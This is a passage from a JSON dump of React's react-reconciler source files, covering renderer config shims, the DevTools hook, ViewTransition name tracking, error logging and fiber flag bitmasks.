    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support mutation\n// can re-export everything from this module.\n\nfunction shim(...args: any): any {\n  throw new Error(\n    'The current renderer does not support Singletons. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Resources (when unsupported)\nexport const supportsSingletons = false;\nexport const resolveSingletonInstance = shim;\nexport const acquireSingletonInstance = shim;\nexport const releaseSingletonInstance = shim;\nexport const isHostSingletonType = shim;\nexport const isSingletonScope = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoTestSelectors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support test selectors\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support test selectors. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Test selectors (when unsupported)\nexport const supportsTestSelectors = false;\nexport const findFiberRoot = shim;\nexport const getBoundingRect = shim;\nexport const getTextContent = shim;\nexport const isHiddenSubtree = shim;\nexport const matchAccessibilityRole = shim;\nexport const setFocusIfFocusable = shim;\nexport const setupIntersectionObserver = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberConfigWithNoViewTransition.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support view transitions\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'The current renderer does not support view transitions. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// View Transitions (when unsupported)\nexport const applyViewTransitionName = shim;\nexport const restoreViewTransitionName = shim;\nexport const cancelViewTransitionName = shim;\nexport const cancelRootViewTransitionName = shim;\nexport const restoreRootViewTransitionName = shim;\nexport const cloneRootViewTransitionContainer = shim;\nexport const removeRootViewTransitionClone = shim;\nexport type InstanceMeasurement = any;\nexport const measureInstance = shim;\nexport const measureClonedInstance = shim;\nexport const wasInstanceInViewport = shim;\nexport const hasInstanceChanged = shim;\nexport const hasInstanceAffectedParent = shim;\nexport const startViewTransition = shim;\nexport type RunningViewTransition = any;\nexport const startGestureTransition = shim;\nexport const stopViewTransition = shim;\nexport const addViewTransitionFinishedListener = shim;\nexport type ViewTransitionInstance = any;\nexport const createViewTransitionInstance = shim;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberDevToolsHook.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Lane, Lanes} from './ReactFiberLane';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {ReactNodeList, Wakeable} from 'shared/ReactTypes';\nimport type {EventPriority} from './ReactEventPriorities';\n// import type {DevToolsProfilingHooks} from 'react-devtools-shared/src/backend/types';\n// TODO: This import doesn't work because the DevTools depend on the DOM version of React\n// and to properly type check against DOM React we can't also type check again non-DOM\n// React which this hook might be in.\ntype DevToolsProfilingHooks = any;\n\nimport {DidCapture} from './ReactFiberFlags';\nimport {\n  enableProfilerTimer,\n  enableSchedulingProfiler,\n} from 'shared/ReactFeatureFlags';\nimport {\n  DiscreteEventPriority,\n  ContinuousEventPriority,\n  DefaultEventPriority,\n  IdleEventPriority,\n} from './ReactEventPriorities';\nimport {\n  ImmediatePriority as ImmediateSchedulerPriority,\n  UserBlockingPriority as UserBlockingSchedulerPriority,\n  NormalPriority as NormalSchedulerPriority,\n  IdlePriority as IdleSchedulerPriority,\n  log,\n  unstable_setDisableYieldValue,\n} from './Scheduler';\n\ndeclare const __REACT_DEVTOOLS_GLOBAL_HOOK__: Object | void;\n\nlet rendererID = null;\nlet injectedHook = null;\nlet injectedProfilingHooks: DevToolsProfilingHooks | null = null;\nlet hasLoggedError = false;\n\nexport const isDevToolsPresent =\n  typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined';\n\nexport function injectInternals(internals: Object): boolean {\n  if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {\n    // No DevTools\n    return false;\n  }\n  const hook = __REACT_DEVTOOLS_GLOBAL_HOOK__;\n  if (hook.isDisabled) {\n    // This isn't a real property on the hook, but it can be set to opt out\n    // of DevTools integration and associated warnings and logs.\n    // https://github.com/facebook/react/issues/3877\n    return true;\n  }\n  if (!hook.supportsFiber) {\n    if (__DEV__) {\n      console.error(\n        'The installed version of React DevTools is too old and will not work ' +\n          'with the current version of React. Please update React DevTools. ' +\n          'https://react.dev/link/react-devtools',\n      );\n    }\n    // DevTools exists, even though it doesn't support Fiber.\n    return true;\n  }\n  try {\n    rendererID = hook.inject(internals);\n\n    // We have successfully injected, so now it is safe to set up hooks.\n    injectedHook = hook;\n  } catch (err) {\n    // Catch all errors because it is unsafe to throw during initialization.\n    if (__DEV__) {\n      console.error('React instrumentation encountered an error: %o.', err);\n    }\n  }\n  if (hook.checkDCE) {\n    // This is the real DevTools.\n    return true;\n  } else {\n    // This is likely a hook installed by Fast Refresh runtime.\n    return false;\n  }\n}\n\nexport function onScheduleRoot(root: FiberRoot, children: ReactNodeList) {\n  if (__DEV__) {\n    if (\n      injectedHook &&\n      typeof injectedHook.onScheduleFiberRoot === 'function'\n    ) {\n      try {\n        injectedHook.onScheduleFiberRoot(rendererID, root, children);\n      } catch (err) {\n        if (__DEV__ && !hasLoggedError) {\n          hasLoggedError = true;\n          console.error('React instrumentation encountered an error: %o', err);\n        }\n      }\n    }\n  }\n}\n\nexport function onCommitRoot(root: FiberRoot, eventPriority: EventPriority) {\n  if (injectedHook && typeof injectedHook.onCommitFiberRoot === 'function') {\n    try {\n      const didError = (root.current.flags & DidCapture) === DidCapture;\n      if (enableProfilerTimer) {\n        let schedulerPriority;\n        switch (eventPriority) {\n          case DiscreteEventPriority:\n            schedulerPriority = ImmediateSchedulerPriority;\n            break;\n          case ContinuousEventPriority:\n            schedulerPriority = UserBlockingSchedulerPriority;\n            break;\n          case DefaultEventPriority:\n            schedulerPriority = NormalSchedulerPriority;\n            break;\n          case IdleEventPriority:\n            schedulerPriority = IdleSchedulerPriority;\n            break;\n          default:\n            schedulerPriority = NormalSchedulerPriority;\n            break;\n        }\n        injectedHook.onCommitFiberRoot(\n          rendererID,\n          root,\n          schedulerPriority,\n          didError,\n        );\n      } else {\n        injectedHook.onCommitFiberRoot(rendererID, root, undefined, didError);\n      }\n    } catch (err) {\n      if (__DEV__) {\n        if (!hasLoggedError) {\n          hasLoggedError = true;\n          console.error('React instrumentation encountered an error: %o', err);\n        }\n      }\n    }\n  }\n}\n\nexport function onPostCommitRoot(root: FiberRoot) {\n  if (\n    injectedHook &&\n    typeof injectedHook.onPostCommitFiberRoot === 'function'\n  ) {\n    try {\n      injectedHook.onPostCommitFiberRoot(rendererID, root);\n    } catch (err) {\n      if (__DEV__) {\n        if (!hasLoggedError) {\n          hasLoggedError = true;\n          console.error('React instrumentation encountered an error: %o', err);\n        }\n      }\n    }\n  }\n}\n\nexport function onCommitUnmount(fiber: Fiber) {\n  if (injectedHook && typeof injectedHook.onCommitFiberUnmount === 'function') {\n    try {\n      injectedHook.onCommitFiberUnmount(rendererID, fiber);\n    } catch (err) {\n      if (__DEV__) {\n        if (!hasLoggedError) {\n          hasLoggedError = true;\n          console.error('React instrumentation encountered an error: %o', err);\n        }\n      }\n    }\n  }\n}\n\nexport function setIsStrictModeForDevtools(newIsStrictMode: boolean) {\n  if (typeof log === 'function') {\n    // We're in a test because Scheduler.log only exists\n    // in SchedulerMock. To reduce the noise in strict mode tests,\n    // suppress warnings and disable scheduler yielding during the double render\n    unstable_setDisableYieldValue(newIsStrictMode);\n  }\n\n  if (injectedHook && typeof injectedHook.setStrictMode === 'function') {\n    try {\n      injectedHook.setStrictMode(rendererID, newIsStrictMode);\n    } catch (err) {\n      if (__DEV__) {\n        if (!hasLoggedError) {\n          hasLoggedError = true;\n          console.error('React instrumentation encountered an error: %o', err);\n        }\n      }\n    }\n  }\n}\n\n// Profiler API hooks\n\nexport function injectProfilingHooks(\n  profilingHooks: DevToolsProfilingHooks,\n): void {\n  injectedProfilingHooks = profilingHooks;\n}\n\nexport function markCommitStarted(lanes: Lanes): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markCommitStarted === 'function'\n    ) {\n      injectedProfilingHooks.markCommitStarted(lanes);\n    }\n  }\n}\n\nexport function markCommitStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markCommitStopped === 'function'\n    ) {\n      injectedProfilingHooks.markCommitStopped();\n    }\n  }\n}\n\nexport function markComponentRenderStarted(fiber: Fiber): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentRenderStarted === 'function'\n    ) {\n      injectedProfilingHooks.markComponentRenderStarted(fiber);\n    }\n  }\n}\n\nexport function markComponentRenderStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentRenderStopped === 'function'\n    ) {\n      injectedProfilingHooks.markComponentRenderStopped();\n    }\n  }\n}\n\nexport function markComponentPassiveEffectMountStarted(fiber: Fiber): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentPassiveEffectMountStarted ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentPassiveEffectMountStarted(fiber);\n    }\n  }\n}\n\nexport function markComponentPassiveEffectMountStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentPassiveEffectMountStopped ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentPassiveEffectMountStopped();\n    }\n  }\n}\n\nexport function markComponentPassiveEffectUnmountStarted(fiber: Fiber): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStarted ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentPassiveEffectUnmountStarted(fiber);\n    }\n  }\n}\n\nexport function markComponentPassiveEffectUnmountStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentPassiveEffectUnmountStopped ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentPassiveEffectUnmountStopped();\n    }\n  }\n}\n\nexport function markComponentLayoutEffectMountStarted(fiber: Fiber): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentLayoutEffectMountStarted ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentLayoutEffectMountStarted(fiber);\n    }\n  }\n}\n\nexport function markComponentLayoutEffectMountStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentLayoutEffectMountStopped ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentLayoutEffectMountStopped();\n    }\n  }\n}\n\nexport function markComponentLayoutEffectUnmountStarted(fiber: Fiber): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStarted ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentLayoutEffectUnmountStarted(fiber);\n    }\n  }\n}\n\nexport function markComponentLayoutEffectUnmountStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentLayoutEffectUnmountStopped ===\n        'function'\n    ) {\n      injectedProfilingHooks.markComponentLayoutEffectUnmountStopped();\n    }\n  }\n}\n\nexport function markComponentErrored(\n  fiber: Fiber,\n  thrownValue: mixed,\n  lanes: Lanes,\n): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentErrored === 'function'\n    ) {\n      injectedProfilingHooks.markComponentErrored(fiber, thrownValue, lanes);\n    }\n  }\n}\n\nexport function markComponentSuspended(\n  fiber: Fiber,\n  wakeable: Wakeable,\n  lanes: Lanes,\n): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markComponentSuspended === 'function'\n    ) {\n      injectedProfilingHooks.markComponentSuspended(fiber, wakeable, lanes);\n    }\n  }\n}\n\nexport function markLayoutEffectsStarted(lanes: Lanes): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markLayoutEffectsStarted === 'function'\n    ) {\n      injectedProfilingHooks.markLayoutEffectsStarted(lanes);\n    }\n  }\n}\n\nexport function markLayoutEffectsStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markLayoutEffectsStopped === 'function'\n    ) {\n      injectedProfilingHooks.markLayoutEffectsStopped();\n    }\n  }\n}\n\nexport function markPassiveEffectsStarted(lanes: Lanes): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markPassiveEffectsStarted === 'function'\n    ) {\n      injectedProfilingHooks.markPassiveEffectsStarted(lanes);\n    }\n  }\n}\n\nexport function markPassiveEffectsStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markPassiveEffectsStopped === 'function'\n    ) {\n      injectedProfilingHooks.markPassiveEffectsStopped();\n    }\n  }\n}\n\nexport function markRenderStarted(lanes: Lanes): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markRenderStarted === 'function'\n    ) {\n      injectedProfilingHooks.markRenderStarted(lanes);\n    }\n  }\n}\n\nexport function markRenderYielded(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markRenderYielded === 'function'\n    ) {\n      injectedProfilingHooks.markRenderYielded();\n    }\n  }\n}\n\nexport function markRenderStopped(): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markRenderStopped === 'function'\n    ) {\n      injectedProfilingHooks.markRenderStopped();\n    }\n  }\n}\n\nexport function markRenderScheduled(lane: Lane): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markRenderScheduled === 'function'\n    ) {\n      injectedProfilingHooks.markRenderScheduled(lane);\n    }\n  }\n}\n\nexport function markForceUpdateScheduled(fiber: Fiber, lane: Lane): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markForceUpdateScheduled === 'function'\n    ) {\n      injectedProfilingHooks.markForceUpdateScheduled(fiber, lane);\n    }\n  }\n}\n\nexport function markStateUpdateScheduled(fiber: Fiber, lane: Lane): void {\n  if (enableSchedulingProfiler) {\n    if (\n      injectedProfilingHooks !== null &&\n      typeof injectedProfilingHooks.markStateUpdateScheduled === 'function'\n    ) {\n      injectedProfilingHooks.markStateUpdateScheduled(fiber, lane);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberDuplicateViewTransitions.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {ViewTransitionProps} from 'shared/ReactTypes';\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\n\n// Use in DEV to track mounted named ViewTransitions. This is used to warn for\n// duplicate names. This should technically be tracked per Document because you could\n// have two different documents that can have separate namespaces, but to keep things\n// simple we just use a global Map. Technically it should also include any manually\n// assigned view-transition-name outside React too.\nconst mountedNamedViewTransitions: Map<string, Fiber> = __DEV__\n  ? new Map()\n  : (null: any);\nconst didWarnAboutName: {[string]: boolean} = __DEV__ ? {} : (null: any);\n\nexport function trackNamedViewTransition(fiber: Fiber): void {\n  if (__DEV__) {\n    const name = (fiber.memoizedProps: ViewTransitionProps).name;\n    if (name != null && name !== 'auto') {\n      const existing = mountedNamedViewTransitions.get(name);\n      if (existing !== undefined) {\n        if (existing !== fiber && existing !== fiber.alternate) {\n          if (!didWarnAboutName[name]) {\n            didWarnAboutName[name] = true;\n            const stringifiedName = JSON.stringify(name);\n            runWithFiberInDEV(fiber, () => {\n              console.error(\n                'There are two <ViewTransition name=%s> components with the same name mounted ' +\n                  'at the same time. This is not supported and will cause View Transitions ' +\n                  'to error. Try to use a more unique name e.g. by using a namespace prefix ' +\n                  'and adding the id of an item to the name.',\n                stringifiedName,\n              );\n            });\n            runWithFiberInDEV(existing, () => {\n              console.error(\n                'The existing <ViewTransition name=%s> duplicate has this stack trace.',\n                stringifiedName,\n              );\n            });\n          }\n        }\n      } else {\n        mountedNamedViewTransitions.set(name, fiber);\n      }\n    }\n  }\n}\n\nexport function untrackNamedViewTransition(fiber: Fiber): void {\n  if (__DEV__) {\n    const name = (fiber.memoizedProps: ViewTransitionProps).name;\n    if (name != null && name !== 'auto') {\n      const existing = mountedNamedViewTransitions.get(name);\n      if (\n        existing !== undefined &&\n        (existing === fiber || existing === fiber.alternate)\n      ) {\n        mountedNamedViewTransitions.delete(name);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberErrorLogger.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {CapturedValue} from './ReactCapturedValue';\n\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\n\nimport {ClassComponent} from './ReactWorkTags';\n\nimport reportGlobalError from 'shared/reportGlobalError';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nimport {bindToConsole} from './ReactFiberConfig';\n\n// Side-channel since I'm not sure we want to make this part of the public API\nlet componentName: null | string = null;\nlet errorBoundaryName: null | string = null;\n\nexport function defaultOnUncaughtError(\n  error: mixed,\n  errorInfo: {+componentStack?: ?string},\n): void {\n  // Overriding this can silence these warnings e.g. for tests.\n  // See https://github.com/facebook/react/pull/13384\n\n  // For uncaught root errors we report them as uncaught to the browser's\n  // onerror callback. This won't have component stacks and the error addendum.\n  // So we add those into a separate console.warn.\n  reportGlobalError(error);\n  if (__DEV__) {\n    const componentNameMessage = componentName\n      ? `An error occurred in the <${componentName}> component.`\n      : 'An error occurred in one of your React components.';\n\n    const errorBoundaryMessage =\n      'Consider adding an error boundary to your tree to customize error handling behavior.\\n' +\n      'Visit https://react.dev/link/error-boundaries to learn more about error boundaries.';\n\n    try {\n      console.warn(\n        '%s\\n\\n%s\\n',\n        componentNameMessage,\n        errorBoundaryMessage,\n        // We let our console.error wrapper add the component stack to the end.\n      );\n    } finally {\n      // ignore\n    }\n  }\n}\n\nexport function defaultOnCaughtError(\n  error: mixed,\n  errorInfo: {\n    +componentStack?: ?string,\n    +errorBoundary?: ?component(...props: any),\n  },\n): void {\n  // Overriding this can silence these warnings e.g. for tests.\n  // See https://github.com/facebook/react/pull/13384\n\n  // Caught by error boundary\n  if (__DEV__) {\n    const componentNameMessage = componentName\n      ? `The above error occurred in the <${componentName}> component.`\n      : 'The above error occurred in one of your React components.';\n\n    // In development, we provide our own message which includes the component stack\n    // in addition to the error.\n    const recreateMessage =\n      `React will try to recreate this component tree from scratch ` +\n      `using the error boundary you provided, ${\n        errorBoundaryName || 'Anonymous'\n      }.`;\n\n    try {\n      if (\n        typeof error === 'object' &&\n        error !== null &&\n        typeof error.environmentName === 'string'\n      ) {\n        // This was a Server error. We print the environment name in a badge just like we do with\n        // replays of console logs to indicate that the source of this throw as actually the Server.\n        bindToConsole(\n          'error',\n          [\n            '%o\\n\\n%s\\n\\n%s\\n',\n            error,\n            componentNameMessage,\n            recreateMessage,\n            // We let DevTools or console.createTask add the component stack to the end.\n          ],\n          error.environmentName,\n        )();\n      } else {\n        console.error(\n          '%o\\n\\n%s\\n\\n%s\\n',\n          error,\n          componentNameMessage,\n          recreateMessage,\n          // We let our DevTools or console.createTask add the component stack to the end.\n        );\n      }\n    } finally {\n      // ignore\n    }\n  } else {\n    // In production, we print the error directly.\n    // This will include the message, the JS stack, and anything the browser wants to show.\n    // We pass the error object instead of custom message so that the browser displays the error natively.\n    console['error'](error); // Don't transform to our wrapper, however, React DevTools can still add a stack.\n  }\n}\n\nexport function defaultOnRecoverableError(\n  error: mixed,\n  errorInfo: {+componentStack?: ?string},\n) {\n  reportGlobalError(error);\n}\n\nexport function logUncaughtError(\n  root: FiberRoot,\n  errorInfo: CapturedValue<mixed>,\n): void {\n  try {\n    if (__DEV__) {\n      componentName = errorInfo.source\n        ? getComponentNameFromFiber(errorInfo.source)\n        : null;\n      errorBoundaryName = null;\n    }\n    const error = (errorInfo.value: any);\n    if (__DEV__ && ReactSharedInternals.actQueue !== null) {\n      // For uncaught errors inside act, we track them on the act and then\n      // rethrow them into the test.\n      ReactSharedInternals.thrownErrors.push(error);\n      return;\n    }\n    const onUncaughtError = root.onUncaughtError;\n    onUncaughtError(error, {\n      componentStack: errorInfo.stack,\n    });\n  } catch (e) {\n    // This method must not throw, or React internal state will get messed up.\n    // If console.error is overridden, or logCapturedError() shows a dialog that throws,\n    // we want to report this error outside of the normal stack as a last resort.\n    // https://github.com/facebook/react/issues/13188\n    setTimeout(() => {\n      throw e;\n    });\n  }\n}\n\nexport function logCaughtError(\n  root: FiberRoot,\n  boundary: Fiber,\n  errorInfo: CapturedValue<mixed>,\n): void {\n  try {\n    if (__DEV__) {\n      componentName = errorInfo.source\n        ? getComponentNameFromFiber(errorInfo.source)\n        : null;\n      errorBoundaryName = getComponentNameFromFiber(boundary);\n    }\n    const error = (errorInfo.value: any);\n    const onCaughtError = root.onCaughtError;\n    onCaughtError(error, {\n      componentStack: errorInfo.stack,\n      errorBoundary:\n        boundary.tag === ClassComponent\n          ? boundary.stateNode // This should always be the case as long as we only have class boundaries\n          : null,\n    });\n  } catch (e) {\n    // This method must not throw, or React internal state will get messed up.\n    // If console.error is overridden, or logCapturedError() shows a dialog that throws,\n    // we want to report this error outside of the normal stack as a last resort.\n    // https://github.com/facebook/react/issues/13188\n    setTimeout(() => {\n      throw e;\n    });\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberFlags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  enableCreateEventHandleAPI,\n  enableEffectEventMutationPhase,\n} from 'shared/ReactFeatureFlags';\n\nexport type Flags = number;\n\n// Don't change these values. They're used by React Dev Tools.\nexport const NoFlags = /*                      */ 0b0000000000000000000000000000000;\nexport const PerformedWork = /*                */ 0b0000000000000000000000000000001;\nexport const Placement = /*                    */ 0b0000000000000000000000000000010;\nexport const DidCapture = /*                   */ 0b0000000000000000000000010000000;\nexport const Hydrating = /*                    */ 0b0000000000000000001000000000000;\n\n// You can change the rest (and add more).\nexport const Update = /*                       */ 0b0000000000000000000000000000100;\nexport const Cloned = /*                       */ 0b0000000000000000000000000001000;\n\nexport const ChildDeletion = /*                */ 0b0000000000000000000000000010000;\nexport const ContentReset = /*                 */ 0b0000000000000000000000000100000;\nexport const Callback = /*                     */ 0b0000000000000000000000001000000;\n/* Used by DidCapture:                            0b0000000000000000000000010000000; */\n\nexport const ForceClientRender = /*            */ 0b0000000000000000000000100000000;\nexport const Ref = /*                          */ 0b0000000000000000000001000000000;\nexport const Snapshot = /*                     */ 0b0000000000000000000010000000000;\nexport const Passive = /*                      */ 0b0000000000000000000100000000000;\n/* Used by Hydrating:                             0b0000000000000000001000000000000; */\n\nexport const Visibility = /*                   */ 0b0000000000000000010000000000000;\nexport const StoreConsistency = /*             */ 0b0000000000000000100000000000000;\n\n// It's OK to reuse these bits because these flags are mutually exclusive for\n// different fiber types. We should really be doing this for as many flags as\n// possible, because we're about to run out of bits.\nexport const Hydrate = Callback;\nexport const ScheduleRetry = StoreConsistency;\nexport const ShouldSuspendCommit = Visibility;\nexport const ViewTransitionNamedMount = ShouldSuspendCommit;\nexport const DidDefer = ContentReset;\nexport const FormReset = Snapshot;\nexport const AffectedParentLayout = ContentReset;\n\nexport const LifecycleEffectMask =\n  Passive | Update | Callback | Ref | Snapshot | StoreConsistency;\n\n// Union of all commit flags (flags with the lifetime of a particular commit)\nexport const HostEffectMask = /*               */ 0b0000000000000000111111111111111;\n\n// These are not really side effects, but we still reuse this field.\nexport const Incomplete = /*                   */ 0b0000000000000001000000000000000;\nexport const ShouldCapture = /*                */ 0b0000000000000010000000000000000;\nexport const ForceUpdateForLegacySuspense = /* */ 0b0000000000000100000000000000000;\nexport const DidPropagateContext = /*          */ 0b0000000000001000000000000000000;\nexport const NeedsPropagation = /*             */ 0b0000000000010000000000000000000;\n\n// Static tags describe aspects of a fiber that are not specific to a render,\n// e.g. a fiber uses a passive effect (even if there are no updates on this particular render).\n// This enables us to defer more work in the unmount case,\n// since we can defer traversing the tree during layout to look for Passive effects,\n// and instead rely on the static flag as a signal that there may be cleanup work.\nexport const Forked = /*                       */ 0b0000000000100000000000000000000;\nexport const SnapshotStatic = /*               */ 0b0000000001000000000000000000000;\nexport const LayoutStatic = /*                 */ 0b0000000010000000000000000000000;\nexport const RefStatic = LayoutStatic;\nexport const PassiveStatic = /*                */ 0b0000000100000000000000000000000;\nexport const MaySuspendCommit = /*             */ 0b0000001000000000000000000000000;\n// ViewTransitionNamedStatic tracks explicitly name ViewTransition components deeply\n// that might need to be visited during clean up. This is similar to SnapshotStatic\n// if there was any other use for it. It also needs to run in the same phase as\n// MaySuspendCommit tracking.\nexport const ViewTransitionNamedStatic =\n  /*    */ SnapshotStatic | MaySuspendCommit;\n// ViewTransitionStatic tracks whether there are an ViewTransition components from\n// the nearest HostComponent down. It resets at every HostComponent level.\nexport const ViewTransitionStatic = /*         */ 0b0000010000000000000000000000000;\n// Tracks whether a HostPortal is present in the tree.\nexport const PortalStatic = /*                 */ 0b0000100000000000000000000000000;\n\n// Flag used to identify newly inserted fibers. It isn't reset after commit unlike `Placement`.\nexport const PlacementDEV = /*                 */ 0b0001000000000000000000000000000;\nexport const MountLayoutDev = /*               */ 0b0010000000000000000000000000000;\nexport const MountPassiveDev = /*              */ 0b0100000000000000000000000000000;\n\n// Groups of flags that are used in the commit phase to skip over trees that\n// don't contain effects, by checking subtreeFlags.\n\nexport const BeforeMutationMask: number =\n  Snapshot |\n  (enableCreateEventHandleAPI\n    ? // createEventHandle needs to visit deleted and hidden trees to\n      // fire beforeblur\n      // TODO: Only need to visit Deletions during BeforeMutation phase if an\n      // element is focused.\n      Update | ChildDeletion | Visibility\n    : // useEffectEvent uses the snapshot phase,\n      // but we're moving it to the mutation phase.\n      enableEffectEventMutationPhase\n      ? 0\n      : Update);\n\n// For View Transition support we use the snapshot phase to scan the tree for potentially\n// affected ViewTransition components.\nexport const BeforeAndAfterMutationTransitionMask: number =\n  Snapshot | Update | Placement | ChildDeletion | Visibility | ContentReset;\n\nexport const MutationMask =\n  Placement |\n  Update |\n  ChildDeletion |\n  ContentReset |\n  Ref |\n  Hydrating |\n  Visibility |\n  FormReset;\nexport const LayoutMask = Update | Callback | Ref | Visibility;\n\n// TODO: Split into PassiveMountMask and PassiveUnmountMask\nexport const PassiveMask = Passive | Visibility | ChildDeletion;\n\n// For View Transitions we need to visit anything we visited in the snapshot phase to\n// restore the view-transition-name after committing the transition.\nexport const PassiveTransitionMask: number = PassiveMask | Update | Placement;\n\n// Union of tags that don't get reset on clones.\n// This allows certain concepts to persist without recalculating them,\n// e.g. whether a subtree contains passive effects or portals.\nexport const StaticMask =\n  LayoutStatic |\n  PassiveStatic |\n  RefStatic |\n  MaySuspendCommit |\n  ViewTransitionStatic |\n  ViewTransitionNamedStatic |\n  PortalStatic |\n  Forked;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberGestureScheduler.js",
